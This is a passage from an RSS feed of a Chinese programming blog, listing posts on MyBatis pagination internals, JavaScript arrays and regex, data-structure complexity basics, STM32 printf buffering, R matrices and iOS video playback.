      <description>24 双非硕的秋招总结&#xA;结果：运气捡漏去了腾讯想想自己整个研究生学习过程，还是挺坎坷的，记录一下，也给未来的同学提供一些参考。研一我是研一上开始学前端的，应该是21年10月份左右，我们&#xA;华为现在还没面试，笔试154，是不是G了&#xA;华为11.13号投的，笔试分数154，HR说11.29面试的，后来一问说12月的第一个星期面试，现在还没给我发邮件，是不是G了，面试机会都没有😨&#xA;题解 | #整数与IP地址间的转换#&#xA;#include &amp;lt;iostream&amp;gt;#include &amp;lt;string&amp;gt;#include &amp;lt;vector&amp;gt;#include 题解 | #删除链表的倒数第n个节点#&#xA;import java.util.*;/* * public class ListNode { * int val; * ListNode next =&#xA;题解 | #链表内指定区间反转#&#xA;import java.util.*;/* * public class ListNode { * int val; * ListNode next =&#xA;题解 | #二叉树的前序遍历#&#xA;/** * struct TreeNode { * int val; * struct TreeNode *left; * struct TreeNode *r&#xA;请问什么时候会有题解？&#xA;rt&#xA;家境真的重要吗？&#xA;如题头一次感到好无力，好累啊天津高考去我本科学校同专业比我低50分，那我高中起早摸黑这么奋战的意义是什么？</description>
    </item>
    <item>
      <title>png图片批量转jpg</title>
      <link>https://bchobby.github.io/posts/409a7a15814153659189a7deb8b68af3/</link>
      <pubDate>Sat, 02 Dec 2023 18:59:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/409a7a15814153659189a7deb8b68af3/</guid>
      <description> from PIL import Image import os def png_to_jpg(png_path, jpg_path): image = Image.open(png_path) rgb_image = image.convert(&#39;RGB&#39;) rgb_image.save(jpg_path, &#39;JPEG&#39;) # 文件夹路径 folder_path = &#34;path/try&#34; # 获取文件夹中的所有文件 file_list = os.listdir(folder_path) # 循环处理每个文件 for png_filename in file_list: # 检查文件扩展名是否为 .png if png_filename.lower().endswith(&#39;.png&#39;): jpg_filename = png_filename[:-4] + &#39;.jpg&#39; # 替换扩展名为 .jpg png_path = os.path.join(folder_path, png_filename) jpg_path = os.path.join(folder_path, jpg_filename) png_to_jpg(png_path, jpg_path) print(f&#34;Converted {png_filename} to {jpg_filename}&#34;) </description>
    </item>
    <item>
      <title>mybatis源码（五）springboot pagehelper实现查询分页</title>
      <link>https://bchobby.github.io/posts/9fc0ab49b0cba8b556f606a2a0797c34/</link>
      <pubDate>Sat, 02 Dec 2023 11:53:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fc0ab49b0cba8b556f606a2a0797c34/</guid>
      <description>1、背景 springboot的pagehelper插件能够实现对mybatis查询的分页管理，而且在使用时只需要提前声明即可，不需要修改已有的查询语句。使用如下：&#xA;之前对这个功能一直很感兴趣，但是一直没完整看过，今天准备详细梳理下。按照个人的习惯，我喜欢带着问题去看源码，这次浏览源码我希望可以了解以下两个问题：&#xA;1）分页插件什么时候被加载的&#xA;2）分页插件什么时候生效的，如何生效的&#xA;2、技巧（可跳过） mybatis自身的功能原理这里我们不深入探讨，网上文章很多，我之前也写过类似的文章，这里为了防止文章杂乱，我们只关注感兴趣的点，即mybatis pagehelper分页原理，其它的一笔带过。另外因为mybatis查询生效都是用的代理对象。如果对源码不是很熟悉，很难第一时间找到打断点的位置。不过通过查看page的源码可以知道，最后的分页参数都放到了threadlocal对象里，如下：&#xA;而最后使用该threadlocal时是一定会调用它的获取和移除方法，因此我们在它的这两个方法中加断点。等进入断点后再通过方法栈追踪其全流程。如下：&#xA;3、源码追踪流程 有了上述方法栈的查看，我们知道了查询的入口和大体流程，现在重新执行查询跟随源码脚步来详细看下分页的实现逻辑。首先是在代码中我们主动进行分页查询，如下：&#xA;前三行代码很简单，主要是从httpservletrequest中获取分页参数，并设置到当前线程的threadlocal变量中。第四行则是调用接口方法进行查询。在mybatis中，接口方法最终功能的实现主要是依靠MapperProxy代理类实现（代理类中包含接口和xml配置相关信息），所以接下来我们直接到MapperProxy中打断点追踪（至于mybatis如何关联接口和mapper.xml文件，MapperProxy如何生成等问题不是本文讨论重点，感兴趣的可以单独去查阅或者浏览我以前的相关文章）。&#xA;MapperProxy是代理对象，主要调用方法是invoke方法，所以在该方法中加断点，或者依靠第二步中的技巧查看整个查询的方法栈，随后再在MapperProxy对应的行中加断点。具体断点信息如下：&#xA;因为method不是Object类型，所以执行else里面的代码：&#xA;可以看到最后会执行PlainMethodInvoker对象里的invoke方法，所以我们接着到该方法中打断点并继续追踪查看：&#xA;可以看到调用SqlSessionTemplate对象的selectList方法，我们接着向下看：&#xA;再接着到DefaultSqlSession中继续查看：&#xA;可以看到，最后会调用CachingExecutor的query方法，但是这里要留意一点，那就是CachingExecutor是一个代理对象，执行代理对象方法首先要进入代理，并执行invoke方法。我们这里通过断点调试的步入查看执行哪个类的invoke方法：&#xA;可以看到最终是通过Plugin代理实现CachingExecutor对象query方法的调用。我们再接着向下看：&#xA;因为要执行的方法是查询方法，其是分页拦截器指定要拦截的方法类型，所以会进入拦截方法中。这里我标记了两个框，第一个是拦截，第二个是不进行拦截直接执行查询方法，因此可以推测分页逻辑是再拦截器中进行的。拦截器中会进行sql的改写，所以这里进入拦截器中进一步查看。拦截器对象为PageInterceptor，到这终于和本文的主题关联上了，接下来我们到分页拦截器中看一下：&#xA;可以看到源码中都加好注释了，看起来就更简单了，这里我们看下进入分页的条件：&#xA;可以看到最后获取的page对象实际上就是我们一开在代码中传入分页参数创建的page对象。因为page对象不为空，所以会返回false，进而不跳过分页逻辑。（另外这里要提醒下各位小伙伴，page对象继承了ArrayList，所以断点查看时看不得page里面的内容，只能看到其size为0。）&#xA;我们接着回到主流程向下看，随后会判断是否需要计算总数，默认创建page时需要计算总数，这里我们就不进入before方法查看了，里面逻辑比较简单。下面我们简单看下计算总数的逻辑：&#xA;可以看到其计算总数的sql比较精简，主要是根据查询的对象和条件直接计算总数。这里sql的解析和生成主要是依赖jsqlparser工具类实现(jsqlparser的使用可以参考我以前的文章)，sql解析比较复杂，感兴趣的可以自行查看。接着我们再回到主流程，看下何时添加的分页查询参数：&#xA;可以看到最后再sql末尾加了limit分页参数，而这个sql的改写过程与计算count类似，都是通过jsqlparser工具实现的。&#xA;通过上面的流程，我们已经知道了分页插件如何生效的了。但是还有一个问题是分页插件如何被加载的。这个流程比较简单，我也是通过第二步的技巧逆推的全流程。下面我按照正常项目的加载顺利简单介绍下：&#xA;当我们在pom中引入pageHelper插件依赖并且在yml中配置分页相关的信息时，项目启动后就会主动的进行插件的初始化并注入到插件拦截器链里面。大体逻辑如下：&#xA;可以看到分页插件有个配置类，其在项目初始化的时候会创建分页拦截器，并调用Configuration进行添加，接着我们看下最后会将拦截器添加到哪里：&#xA;可以看到最终会添加到拦截器链对象的私有集合里。但是我们最终使用拦截器是在Plugin对象里用的，而不是在拦截器链里面，那Plugin如何使用到该拦截器的呢？&#xA;在拦截器链里有个pluginAll方法，它会封装拦截器成一个“链式”动态代理对象，代理类是Plugin，该方法会在创建Executor时执行（还记得前面源码里介绍这块的提醒吧，Executor是一个被动态代理的对象），通过pluginAll方法，将拦截器封装成链并将Executor放在链路最后一层。&#xA;可以看到通过pluginAll方法将拦截器封装成了一个链，下面再看一下Executor的创建就完全清晰了：&#xA;至此，我们两个问题都再浏览源码的过程中清晰了。&#xA;4、总结 1）该文章主要是探究sringboot分页插件实现的原理，所以对于mapper.xml与接口方法的整合和mybatis代理对象如何实现查看没有细讲，但是这部分也是查询过程中核心的代码。&#xA;2）由PageInterceptor分页拦截器拦截指定的查询请求，然后在拦截方法中调用PageHelper中的方法对sql进行改写，最后再进行提交。&#xA;2）无论计算总数还是重写分页sql，都是通过jsqlparser工具实现的（为了使得文章主题清晰，这里没有介绍sql的改写过程，jsqlparser的使用可以浏览我以前的文章）&#xA;3）Plugin是一个链式动态代理对象，最后一个节点是Executor被代理对象，前面的节点是Interceptor被代理对象。&#xA;4）再Plugin.wrap方法中会提取出拦截器里的signature标签，并保存在每个Plugin链式代理对象中。在被代理对象执行对应方法时，如果plugin代理对象包含对应的signature集合则说明当前被代理对象是拦截器，如果不包含signature或者signature标签没有拦截当前方法，则直接执行当前方法。&#xA;参考文章： 5分钟！彻底搞懂MyBatis插件+PageHelper原理 - 知乎</description>
    </item>
    <item>
      <title>JavaScript 整理了一些常用的数组方法，点赞加关注内容持续更新~</title>
      <link>https://bchobby.github.io/posts/80a998c55b49a9739ff301fbc01a6cf7/</link>
      <pubDate>Sat, 02 Dec 2023 11:49:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80a998c55b49a9739ff301fbc01a6cf7/</guid>
      <description>文章目录 1、数组splice方法2、数组排序sort方法3、数组操作（数组的增删改查）`.unshift(参数)` 数组最前方增加`.push(参数)` 数组末尾增加`.shift()` 删除数组第一个元素`.pop()` 删除数组末尾元素 4、数组其它方法`concat()` 连接俩个数组`includes()`查找数组里是否包含一个值`indexOf ()`正向查找数组元素返回索引`lastIndexOf ()` 反向查找数组元素返回索引`join()`指定分隔符连接数组元素`forEach()``map()``forEach()`和`map()` 的区别`find()`返回满足条件的第一个元素`findIndex()`查找满足条件的第一个元素的索引`some()`一些`every()`每个`reverse()` 翻转`filter()` 过滤`reduce()`减少`flat()`数组扁平化`Array.from()`ES6`Array.isArray ()`ES6 1、数组splice方法 数组名.splice(起时索引,删除元素个数,要添加的元素,要添加的元素,…)返回值：被删除的元素组成的数组 const arr = [&#39;a&#39;, &#39;b&#39;] //（增加）在a和b之间增加俩个元素c和d const res = arr.splice(1, 0, &#39;c&#39;, &#39;d&#39;) console.log(res) // [&#39;a&#39;, &#39;c&#39;, &#39;d&#39;, &#39;b&#39;] //（删除）删除序号为1的元素 const res2 = arr.splice(1, 1) console.log(arr) // [&#39;a&#39;, &#39;c&#39;, &#39;d&#39;, &#39;b&#39;] console.log(res2) // [&#39;a&#39;] //（替换） 把b-&amp;gt;e const res3 = arr.splice(1, 1, &#39;e&#39;) console.log(res3) //[&#39;a&#39;, &#39;b&#39;] console.log(res3) //[&#39;a&#39;, &#39;e&#39;] 2、数组排序sort方法 sort()方法是数组对象的一个方法，用于对数组的元素进行排序。这个方法会改变原数组的顺序。默认情况下，sort()方法按照字符串Unicode码点顺序进行排序。也就是说，它把每个元素都转换成字符串，然后按照每个字符串的Unicode编码顺序进行排序。如果你想按照自定义的规则进行排序，你可以提供一个比较函数作为sort()方法的参数。这个比较函数应该接收两个参数，如果第一个参数应该排在第二个参数前面，那么比较函数应该返回一个负数。如果两个参数相等，那么比较函数应该返回0。如果第一个参数应该排在第二个参数后面，那么比较函数应该返回一个正数。 const arr = [10, 2, 5, 1, 9,3 ] // sort排序 默认按照字符串排序 // arr.</description>
    </item>
    <item>
      <title>Javascript 中的正则表达式的使用，点赞加关注持续更新~</title>
      <link>https://bchobby.github.io/posts/702130a94073f013ae842c844ae630f2/</link>
      <pubDate>Sat, 02 Dec 2023 11:28:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/702130a94073f013ae842c844ae630f2/</guid>
      <description>文章目录 正则表达式（Regular Expression）使用场景：定义语法：判断是否符合规则的语法：元字符下面是一些示例： 正则表达式（Regular Expression） 正则表达式（Regular Expression，通常简写为regex）是一种在计算机科学中常用的语法规则，用于匹配字符串模式。它是由一系列的字符、符号和规则组成，可以用来搜索、替换、拆分等操作字符串。&#xA;使用场景： 一般使用在账号、密码、身份证、验证码、电话号码等一些验证中&#xA;定义语法： 在JavaScript中，正则表达式被定义为一个对象，可以通过正则表达式的字面量或者使用RegExp构造函数来创建&#xA;// 字面量方式创建正则表达式 let regex = /abc/; // 使用RegExp构造函数创建正则表达式 let regex = new RegExp(&#39;abc&#39;); 判断是否符合规则的语法： regObj.test(被检测的字符串)&#xA;如果正则表达式与指定的字符串匹配，返回true，否则返回false&#xA;// lg // 要检测的字符串 const str = &#39;人之初，性本善&#39; // 定义正则表达式检测规则 const reg = /本善/ // 检测方法 console.log(reg.test(str)) // true regObj.exec(被检测的字符串)&#xA;如果有匹配的的字符串返回一个数组，没有返回null&#xA;// lg // 要检测的字符串 const str = &#39;人之初，性本善&#39; // 定义正则表达式检测规则 const reg = /本善/ // 检测方法 console.log(reg.exec(str)) // 返回一个数组 // [&#39;本善&#39;，index：5，input:&#39;人之初，性本善&#39;] 元字符 边界符^匹配输入字符串的开始位置$匹配输入字符串的结束位置.</description>
    </item>
    <item>
      <title>【数据结构】第一章——习题演练</title>
      <link>https://bchobby.github.io/posts/c8e57750d976ec893050bc65af79fc7e/</link>
      <pubDate>Sat, 02 Dec 2023 01:15:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8e57750d976ec893050bc65af79fc7e/</guid>
      <description>时间复杂度习题演练 导言分析方法与步骤单层循环嵌套循环 单项选择题题目1题目解析 题目2题目解析 题目3题目解析 题目4题目解析 题目5题目解析 题目6题目解析 题目7题目解析 题目8题目解析 题目9题目解析 题目10题目解析 结语【数据结构】第一章——绪论 导言 本篇章题目出自：王道考研系列丛书——《2024年数据结构考研复习指导》课后习题。&#xA;题目主要考察的是对时间复杂度的分析，在前面的篇章中我们知道时间复杂度是与问题规模n和输入的值k有关的，但是我们在分析时间复杂度时都是以最坏时间复杂度进行分析，这样能确保算法的运行时间不会比它更长。&#xA;分析方法与步骤 对于时间复杂度的分析，我自己的经验是通过递进语句与条件判断语句来找出程序运行时间与问题规模之间的关系。&#xA;因为我们在分析时间复杂度是都是分析的最坏时间复杂度，所以此时是忽略输入值带来的影响，默认初始值为最小值，之后我们只需要确认最小值是如何通过递进条件来逼近问题规模就行了。&#xA;这里我通过下面两个列子来说明：&#xA;单层循环 void Func(int n) { for (int i = 0; i &amp;lt; n; i++) { printf(&#34;hello world\n&#34;); } } 在这个函数中，我们想要分析它的时间复杂度，可以按照以下步骤一步一步来分析：&#xA;第一步：找到问题规模&#xA;我们从条件语句i &amp;lt; n;可以很容易的得到这个问题的问题规模为n，当i = n 成立时循环结束； 第二步：找到递进方式&#xA;通过对象语句int i = 0;和递进语句i++; 我们能够知道，此时的对象需要每执行一次递进都会在原先的基础上增加1； 第三步：找到执行次数与问题规模之间的关系&#xA;当变量 i 执行 1 次递进语句时，i 就会从0变成1；当变量 i 执行 t 次递进语句时，i 就会从0变成 t；当t = n 时，i 就会从0变成 n；</description>
    </item>
    <item>
      <title>stm32项目中重定向printf打印不出来东西？三种解决方案</title>
      <link>https://bchobby.github.io/posts/a19e660713339370e6819227a1bff8c3/</link>
      <pubDate>Fri, 01 Dec 2023 23:33:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a19e660713339370e6819227a1bff8c3/</guid>
      <description>项目场景： 在stm32项目中为了调试将某些参数打出来，重定向printf&#xA;问题描述 printf打印不出东西&#xA;缓冲区满了才打印出来&#xA;原因分析： 使用printf函数必须等到缓冲区满或程序结束时，才进行写入到屏幕&#xA;解决方案： 解决方法一：加 \n 回车&#xA;解决方法二： 加 fflush(stdout); 刷新输出流将缓冲区中的数据立即写入到文件（或显示设备）中，而不是等到缓冲区满或程序结束时才进行写入。&#xA;解决方法三： 在初始化中加入 setvbuf(stdout, NULL, _IONBF, 0); 将缓冲区置为0</description>
    </item>
    <item>
      <title>R语言中如何改变表格数据的填充顺序</title>
      <link>https://bchobby.github.io/posts/926c9d58ec786f06c9b3bb7ceebafc71/</link>
      <pubDate>Fri, 01 Dec 2023 21:15:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/926c9d58ec786f06c9b3bb7ceebafc71/</guid>
      <description>#搬运过来的，看不懂请看原出处&#xA;原作者：&#xA;熊荣川&#xA;六盘水师范学院生物信息学实验室&#xA;xiongrongchuan@126.com&#xA;http://blog.sciencenet.cn/u/Bearjazz&#xA;通常在R语言中矩阵（表格）数据的填充默认顺序为先列后行，从左到右。如果需要先行后列的填充数据的话，可是使用byrow=TRUE这个参数实现，具体过程请参考下面的两个例子。&#xA;a=matrix(1:30, 5,6)&#xA;建立矩阵a，三个参数分别表示数据源，5行、6列&#xA;a&#xA;查看a&#xA;[,1] [,2] [,3] [,4] [,5] [,6] [1,] 1 6 11 16 21 26&#xA;[2,] 2 7 12 17 22 27&#xA;[3,] 3 8 13 18 23 28&#xA;[4,] 4 9 14 19 24 29&#xA;[5,] 5 10 15 20 25 30&#xA;[,1] [,2] [,3] [,4] [,5] [,6] [1,] 1 2 3 4 5 6&#xA;[2,] 7 8 9 10 11 12</description>
    </item>
    <item>
      <title>ZFPlayer 在tableView列表中播放视频架构设计</title>
      <link>https://bchobby.github.io/posts/1f181830cb8d69fdc93b5d0d8a32be0d/</link>
      <pubDate>Fri, 01 Dec 2023 21:09:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f181830cb8d69fdc93b5d0d8a32be0d/</guid>
      <description>需求背景 需要在如图所示的列表中播放视频，并且播放视频在对应的卡片上，滚动结束的时候， 完整露出封面图的第一个视频自动播放&#xA;分析 根据需求，是滚动的时候获取符合条件的cell，并且&#xA;在cell的封面图上播放视频，从上往下，第一个完全展示的&#xA;cell播放视频&#xA;这就要求，我们的播放器应该是页面级别的，而不应该是cell 级别的，并且ZFPlayer框架支持这种自动播放的需求，&#xA;但是和我们的有些不同，我们这个列表是多种cell同时存在的，但是只有一种cell支持自动播放，所以要求我们进行&#xA;定制化开发&#xA;获取当前适合条件的cell 其实zfplayer是有获取当前符合条件的cell的方法的，但是&#xA;和我们的判断条件不一样，并且滚动回调是在这里设置的&#xA;如图，这里要我们ZFPlayer必须存在，但是我们页面消失之后，回&#xA;销毁ZFplayer，如果再回到这个页面，再滚动页面的时候，就没有这个&#xA;回调了，所以，我们直接在页面的scrollview代理方法中调用&#xA;如下代码&#xA;- (void)scrollViewDidEndDecelerating:(UIScrollView *)scrollView { [super scrollViewDidEndDecelerating:scrollView]; [self findCorrectCell]; } - (void)scrollViewDidEndDragging:(UIScrollView *)scrollView willDecelerate:(BOOL)decelerate { [super scrollViewDidEndDragging:scrollView willDecelerate:decelerate]; if (!decelerate) { [self findCorrectCell]; } } - (void)findCorrectCell { if (self.channelBannerTool.playerView.currentPlayerManager.isPlaying) { //如果正在播放广告， 不自动播放 return; } NSArray *cells = self.tableView.visibleCells; CGFloat scrollViewMidY = CGRectGetHeight(self.tableView.frame)/2; /// The final playing indexPath. __block NSIndexPath *finalIndexPath = nil; @weakify(self) [cells enumerateObjectsUsingBlock:^(UITableViewCell *cell, NSUInteger idx, BOOL * _Nonnull stop) { @strongify(self) if (!</description>
    </item>
    <item>
      <title>【数据结构】第一章——绪论（1）</title>
      <link>https://bchobby.github.io/posts/fe358825107f8133e303e63b767ad1af/</link>
      <pubDate>Fri, 01 Dec 2023 18:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe358825107f8133e303e63b767ad1af/</guid>
      <description>数据结构的基本概念 导言一、基本概念和术语1.数据定义记忆定义理解定义 2.数据元素定义记忆定义理解定义 3.数据对象定义记忆定义理解定义 4.数据结构定义记忆定义理解定义数据结构与数据对象 5.数据类型定义记忆定义 分类原子类型结构类型抽象数据类型(Abstract Data Type, ADT)理解定义原子类型结构体类型抽象数据类型 总结 二、数据结构的三要素1.数据的逻辑结构定义分类集合线性结构树图 2.数据的存储结构定义分类顺序存储定义优缺点 链式存储定义优缺点 索引存储定义优缺点 散列存储定义优缺点 3.数据的运算 结语【数据结构】第一章——绪论博客同步声明 导言 大家好，今天开始，我将开始从原先的专心学习C语言调整到边学习C语言，边学习数据结构的相关内容。&#xA;当然，在学习的过程中我也会将各个知识点通过博客记录下来并将自己对知识点的理解分享给大家。&#xA;本章内容是数据结构的概述，我们可以通过对本章内容的学习，初步了解数据结构的基本内容和基本方法。&#xA;一、基本概念和术语 1.数据 定义 数据是信息的载体，是描述客观事物属性的数、字符以及所有能输入到计算机中并被计算机程序识别和处理的符号的集合。数据是计算机程序加工的原料。&#xA;记忆定义 我对该定义的记忆方式是先抓主干，后补充细节。&#xA;主干：数据是一个载体，它也是一个集合，它更是一种原料。&#xA;细节：数据作为信息的载体，是描述客观事物属性的数、字符以及所有能输入到计算机中并被计算机程序识别和处理的符号的集合，是计算机程序加工的原料。&#xA;理解定义 我们可以简单的理解为，描述客观事物属性的相关信息是通过承载在数据上然后再被计算机程序加工，最后呈现在我们面前。&#xA;就比如这篇博客，呈现在我们面前的就是一些图文，这些图文呈现的步骤就是：&#xA;先通过我输入相应的字符，然后计算机在识别这些字符后通过一系列的处理，最终将这些信息呈现出来。&#xA;在C语言中我们学到了计算机能够识别的内容就是二进制序列，计算机能处理的内容也是二进制数列。下面我们通过流程图来理解这个过程：&#xA;从图中我们应该能更好的理解数据以及它在计算机中的一个运行流程，这里我再进行一次文字解释：&#xA;我们在计算机上开始操作后，&#xA;首先是先将我们需要输入的信息通过字符、数字、符号等形式输入进计算机，此时我们输入的信息承载在数据上；然后这些数据会将信息运送给计算机，计算机开始加工这些数据，加工的过程是先识别这些信息的二进制序列，再将这些二进制序列处理成我们想要的内容；最后我们想要的这些内容作为需要输出的信息，将会再一次承载在数据上，通过数据，输送到我们的屏幕上进行输出。 ☆☆☆我们输入和计算机输出的内容就是数据。&#xA;2.数据元素 定义 数据元素是数据的基本单位，通常作为一个整体进行考虑和处理。&#xA;一个数据元素可由若干个数据项组成，数据项是构成数据元素的不可分割的最小单位。&#xA;记忆定义 主干：数据元素是基本单位，通常作为一个整体进行考虑和处理。&#xA;细节：数据元素是数据的基本单位。这个整体可由若干个数据项组成，数据项是构成数据元素的不可分割的最小单位。&#xA;理解定义 下面我们通过画图来进一步理解数据、数据元素和数据项之间的关系：&#xA;从图中可以看到，若干个数据项组成了一个整体，这个整体就是数据元素，然后由若干个数据元素组成了一个完整的数据。&#xA;这里我们举一个例子来加深一下对这个知识点的理解：&#xA;学校马上要开运动会了，现在班上要学生报名，并要求登记报名的项目、身高、体重。&#xA;总共有10人报名，张三报名了400m，李四报名了跳远、王五报名了铅球……&#xA;在这个例子中总人数就是班上运动会报名的数据，张三、李四、王五……这些学生就是一个个数据元素，他们报名的项目、身高、体重就是数据项。&#xA;数据描述的是一个集合，这个集合是由报名的学生组成的；数据元素描述的是一个个体，这些个体就是张三、李四、王五……他们这些学生；数据项指的是组成数据元素的不可分割的最小单位，这些数据项就是项目、身高、体重这3项内容； 如果一个数据项中的内容由多个属性组成，比如2020-10-19这个内容我们可以把它拆分为年月日，那这种情况下，这个数据项我们就把它称为组合项。&#xA;☆☆☆不可分割的数据项组成一个数据元素，所有数据元素的集合就是数据。&#xA;3.数据对象 定义 数据对象是具有相同性质的数据元素的集合，是数据的一个子集。&#xA;记忆定义 主干：数据对象是一个集合，是一个子集。&#xA;细节：数据对象是具有相同性质的数据元素的集合，是数据的一个子集。&#xA;理解定义 我们还是通过画图来理解：&#xA;图中我们可以看到，这一整个集合组成了数据，两个数据元素组成了一个数据对象，n个数据项组成了一个数据元素。&#xA;要注意的是组成数据对象的两个数据元素要是相同性质的。&#xA;比如现在学校组织运动会，班级里要统计运动员、新闻稿、后勤员等工作的名单。&#xA;所有的运动员的学生名单组成的集合就是一个数据对象；所有写新闻稿的学生名单组成的集合就是第二个数据对象；所有的后勤员的学生名单组成的集合就是第三个数据对象。 ☆☆☆数据项的集合是一个数据元素，相同性质的数据元素的集合是一个数据对象，所有数据对象的集合是数据。</description>
    </item>
    <item>
      <title>【数据结构】第一章——绪论（2）</title>
      <link>https://bchobby.github.io/posts/73d13640b23791741dcc15e53ccd3cfb/</link>
      <pubDate>Fri, 01 Dec 2023 18:53:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73d13640b23791741dcc15e53ccd3cfb/</guid>
      <description>算法和算法评价 前言算法的基本概念定义理解定义 算法的5个特性有穷性定义理解 确定性定义理解 可行性定义理解 输入定义理解 输出定义理解 什么是好的算法正确性定义理解 可读性定义理解 健壮性定义理解 高效率和低存储量需求定义理解 结语【数据结构】第一章——绪论 前言 大家好，很高兴又和大家见面啦！！！今天我们将继续介绍数据结构第一章的相关内容。&#xA;在上一篇中，我们介绍了数据结构的基本概率，简单说明了一下数据结构的三要素——数据的逻辑结构、数据的存储结构以及数据的运算。我个人是感觉这些定义有点不好理解，不过没关系，这些内容会随着我们学习的深入而不断提升对它们的理解。下面我们就来看一下第一章的第二部分内容——算法和算法评价。&#xA;算法的基本概念 定义 算法（Algorithm）是对特定问题求解步骤的一种描述，它是指令的有限序列，其中的每条指令表示一个或多个操作。&#xA;理解定义 对于这个定义我是这样理解的——在C语言中，我们有介绍过函数，在我们用函数编写一个功能时，函数的返回类型、函数名和函数的参数都是在对这个函数进行声明，函数的具体实现是在函数体内完成的，这个实现的过程，我们就可以简单的理解为是算法。下面我举一个最简单的算法：&#xA;//实现打印hello int main() { printf(&#34;hello\n&#34;); return 0; } 现在我为了实现打印hello这个功能，我在主函数体内通过调用库函数printf完成了这个功能，那我现在就可以称这个实现这个功能的过程就是实现这个功能的算法。&#xA;在这个算法中，它有2个指令——printf和return；&#xA;对于这两条指令，它都只有一个操作——打印和返回0；&#xA;算法的5个特性 那我们现在对算法有了一个初步的了解之后，我们现在来看一下算法又有哪些特性；&#xA;有穷性 定义 一个算法必须总在执行有穷步之后结束，且每一步都可在有穷时间内完成。&#xA;理解 对于有穷性的理解，我的理解就是像死循环这种无法结束的代码就称不上是算法，如下图所示：&#xA;对于这个循环来说，判断条件为1，结果恒为真，代码进入死循环，不断的打印hello，像这种打印的实现就称不上是算法，但是如果我们将它简单修改一下，如下图所示：&#xA;可以看到，我们不管是修改了判断条件也好，还是增加了介绍标志也好，都是在告诉计算机，你现在需要在什么时候停止，等计算机运行到那个停止点时，它就停止不再运行了。也就是说有穷性就是程序能够正常的终止。&#xA;确定性 定义 算法中每条指令必须有确切的含义，对于相同的输入只能得到相同的输出。&#xA;理解 确定性的话我们可以理解为就像数学中的函数一样，自变量与因变量的关系可以是一对一也可以是多对一，但绝不能是一对多这种情况。下面我们来通过计算机语言来描述：&#xA;在这个代码中我们通过判断变量i的值是否为-1来决定是否要继续循环；&#xA;在循环中则进行了三个功能的实现——输出i的值、输出hello以及输出数组元素，对于个功能的实现如下：&#xA;当i的值不为1且i的值也不为2时，我们执行的是一对一的输出，可以看到结果展示每一个输入的值都能得到一个输出，并且同一个输入能得到同一个输出；当i的值为2时，我们执行的是多对一的输出，这时需要输入第二个变量j，从结果中可以看到当满足i==2这个条件时，不管j的值为多少，我们都能得到hello的打印结果；当i的值为1时，我们执行的是一对多的输出，我们通过rand函数与srand函数生成随机数使数组的下标随机，在这种情况下同一个i值得到的结果却是截然不同的； 我们现在从算法确定性的角度来分析，那么对于输出数组元素这个内容的实现显然就不满足算法的确定性；&#xA;为了实现输出数组元素的功能，我们可以如下进行代码编写：&#xA;像这样编写代码后我们可以看到，对于变量i的每一次输入，我们都能得到一个输出，并且同样的输入对应的是同样的输出，不同的输入对应的是不同的输出，此时输入与输出满足一对一的关系；&#xA;对于上述这种输入和输出满足一对一关系或者多对一关系的代码，我们就称这样的算法是具有确定性的；&#xA;可行性 定义 算法中描述的操作都可以通过已经实现的基本运算执行有限次来实现。&#xA;理解 对于可行性我的理解是——我们在算法中的操作过程，都是能够通过计算机语言进行实现的。&#xA;如我想打印内容，我可以通过库函数printf、putchar等等这样的输出函数进行打印；&#xA;我想输入数据我可以通过scanf、gets等这样的输入函数进行数据的输入；&#xA;我想进行加减乘除的运算我可以通过+-*/这些算术操作符实现；&#xA;除了上述这些内容外，只要是我们想实现的功能，都是能够通过相应的计算机语言进行实现的，这就是可行性；&#xA;输入 定义 一个算法有零个或多个输入，这些输入取自于某个特定的对象的集合。&#xA;理解 对于一个算法而言，我们可以没有输入，如通过printf在屏幕上输出hello world：&#xA;我们也可以只有一个输入，如通过输入给变量a赋值，并在屏幕上以a=%d的形式输出a的值：&#xA;我们还可以有多个输入，如编写一个简单的进行两个数的四则运算的程序：</description>
    </item>
    <item>
      <title>【数据结构】第一章——绪论（3）</title>
      <link>https://bchobby.github.io/posts/c76d5f2d35ab1e5ba49a2e17d12819b6/</link>
      <pubDate>Fri, 01 Dec 2023 18:53:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c76d5f2d35ab1e5ba49a2e17d12819b6/</guid>
      <description>算法和算法评价 前言算法效率的度量时间复杂度定义理解时间复杂度的计算加法规则：乘法规则：常见的渐近时间复杂度 习题巩固 结语【数据结构】第一章——绪论 前言 大家好，很高兴又和大家见面啦！！！在上一篇中我们介绍了算法以及算法的五个特性和五个目标，今天我们将开始重点介绍算法的高效率和低存储量需求。&#xA;算法效率的度量 算法效率的度量是通过时间复杂度和空间复杂度来描述的。&#xA;时间复杂度对应的就是高效率；空间复杂度对应的就是低存储量需求。&#xA;那时间复杂度和空间复杂度又是什么呢？下面我们就来分别介绍一下；&#xA;时间复杂度 定义 一个语句的频度是指该语句在算法中被重复执行的次数。算法中所有语句的频度之和记为 T ( n ) T(n) T(n)。它是该算法问题规模 n n n的函数，时间复杂度主要分析 T ( n ) T(n) T(n)的数量级。&#xA;理解 大家看到这个定义时可能一脸懵，又是问题规模、又是数量级的，这些都是什么呀？&#xA;我刚开始看到这两个内容时也是一头雾水，经过后面的学习，我对这两个内容也有了一个初步的理解：&#xA;问题规模指的是一个程序执行的次数。&#xA;//问题规模 int main() { printf(&#34;hello world\n&#34;);//执行次数为一次，问题规模为1 for (int i = 0; i &amp;lt; 20; i++) { printf(&#34;你好\n&#34;);//执行次数为20次，问题规模为20 } for (int i = 0; i &amp;lt; 3000; i++) { printf(&#34;I Love You\n&#34;);//执行次数3000次，问题规模为3000 } return 0; } 从这个代码中我们可以看到，每一句代码执行的次数都不相同，它们的执行次数也就代表着这句代码的问题规模；&#xA;数量级指的就是执行次数的单位。</description>
    </item>
    <item>
      <title>天天拍车前端技术面面经（拿到offer未去版本）</title>
      <link>https://bchobby.github.io/posts/6960224248c30323d60cabc1cfe7645f/</link>
